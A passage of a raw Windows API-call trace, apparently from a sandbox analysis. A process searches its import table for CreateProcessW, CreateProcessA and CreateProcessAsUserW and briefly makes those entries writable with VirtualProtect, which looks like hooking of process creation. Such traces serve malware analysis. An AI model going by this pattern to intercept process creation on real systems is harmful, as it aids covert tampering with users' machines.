(lpString1="SetErrorMode", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0064.452] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0064.452] VirtualProtect (in: lpAddress=0xd6107c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.454] VirtualProtect (in: lpAddress=0xd6107c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.454] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e6b0 [0064.454] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0064.454] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessA") returned 1 [0064.454] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="SetDllDirectoryW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0064.455] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0064.455] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="CreateProcessA") returned 1 [0064.455] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="SendMessageTimeoutW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="IsWindowEnabled", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="AllowSetForegroundWindow", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="MessageBoxW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="??2@YAPAXI@Z", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_controlfp", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="?terminate@@YAXXZ", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="??3@YAXPAX@Z", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="bsearch", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__set_app_type", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__p__fmode", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__p__commode", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__setusermatherr", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_wcmdln", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="exit", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="_XcptFilter", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_exit", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="_cexit", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="__wgetmainargs", lpString2="CreateProcessA") returned -1 [0064.456] lstrcmpiA (lpString1="wcsncmp", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="iswspace", lpString2="CreateProcessA") returned 1 [0064.456] lstrcmpiA (lpString1="memset", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="_wcsnicmp", lpString2="CreateProcessA") returned -1 [0064.457] lstrcmpiA (lpString1="_wcsicmp", lpString2="CreateProcessA") returned -1 [0064.457] lstrcmpiA (lpString1="RtlUnwind", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathCombineW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="UrlCanonicalizeW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathIsURLW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="SHGetValueW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="SHSetValueW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="SHRegGetValueW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathRemoveFileSpecW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathAppendW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathQuoteSpacesW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="UrlCreateFromPathW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="UrlApplySchemeW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="SHEnumValueW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="StrStrW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="PathFindFileNameW", lpString2="CreateProcessA") returned 1 [0064.457] lstrcmpiA (lpString1="CommandLineToArgvW", lpString2="CreateProcessA") returned -1 [0064.457] lstrcmpiA (lpString1="CoInitialize", lpString2="CreateProcessA") returned -1 [0064.457] lstrcmpiA (lpString1="CoUninitialize", lpString2="CreateProcessA") returned -1 [0064.457] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e6b0 | out: hHeap=0x2390000) returned 1 [0064.457] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e6b0 [0064.457] lstrcmpiA (lpString1="TraceEvent", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0064.457] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessAsUserW") returned 1 [0064.457] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetFileTime", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="SetDllDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0064.458] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessAsUserW") returned 1 [0064.458] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0064.458] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="FindResourceExW", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessAsUserW") returned 1 [0064.459] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="CharNextW", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="SendMessageTimeoutW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="IsWindowVisible", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="IsWindowEnabled", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="AllowSetForegroundWindow", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="GetWindowThreadProcessId", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="FindWindowExW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="MessageBoxW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="LoadStringW", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="??2@YAPAXI@Z", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_controlfp", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="?terminate@@YAXXZ", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessAsUserW") returned 1 [0064.460] lstrcmpiA (lpString1="??3@YAXPAX@Z", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="bsearch", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="__set_app_type", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="__p__fmode", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="__p__commode", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="__setusermatherr", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessAsUserW") returned -1 [0064.460] lstrcmpiA (lpString1="_wcmdln", lpString2="CreateProcessAsUserW") returned -1 [0064.461] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77340000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x77340000, AllocationBase=0x77340000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.461] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.461] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x769e0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x769e0000, AllocationBase=0x769e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.461] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.461] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75450000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x75450000, AllocationBase=0x75450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.461] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.461] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x764e0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x764e0000, AllocationBase=0x764e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.461] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.461] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e6b0 [0064.461] VirtualProtect (in: lpAddress=0x764e1238, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.492] VirtualProtect (in: lpAddress=0x764e1238, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.493] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e6e8 [0064.493] VirtualProtect (in: lpAddress=0x764e1234, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.493] VirtualProtect (in: lpAddress=0x764e1234, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.493] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.493] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754e0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x754e0000, AllocationBase=0x754e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.493] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.493] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.494] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75050000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x75050000, AllocationBase=0x75050000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.494] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.494] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.495] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ea0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74ea0000, AllocationBase=0x74ea0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.495] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.495] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.496] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e90000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x74e90000, AllocationBase=0x74e90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.496] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.496] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.496] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76c00000, lpBuffer=0x26fd14, 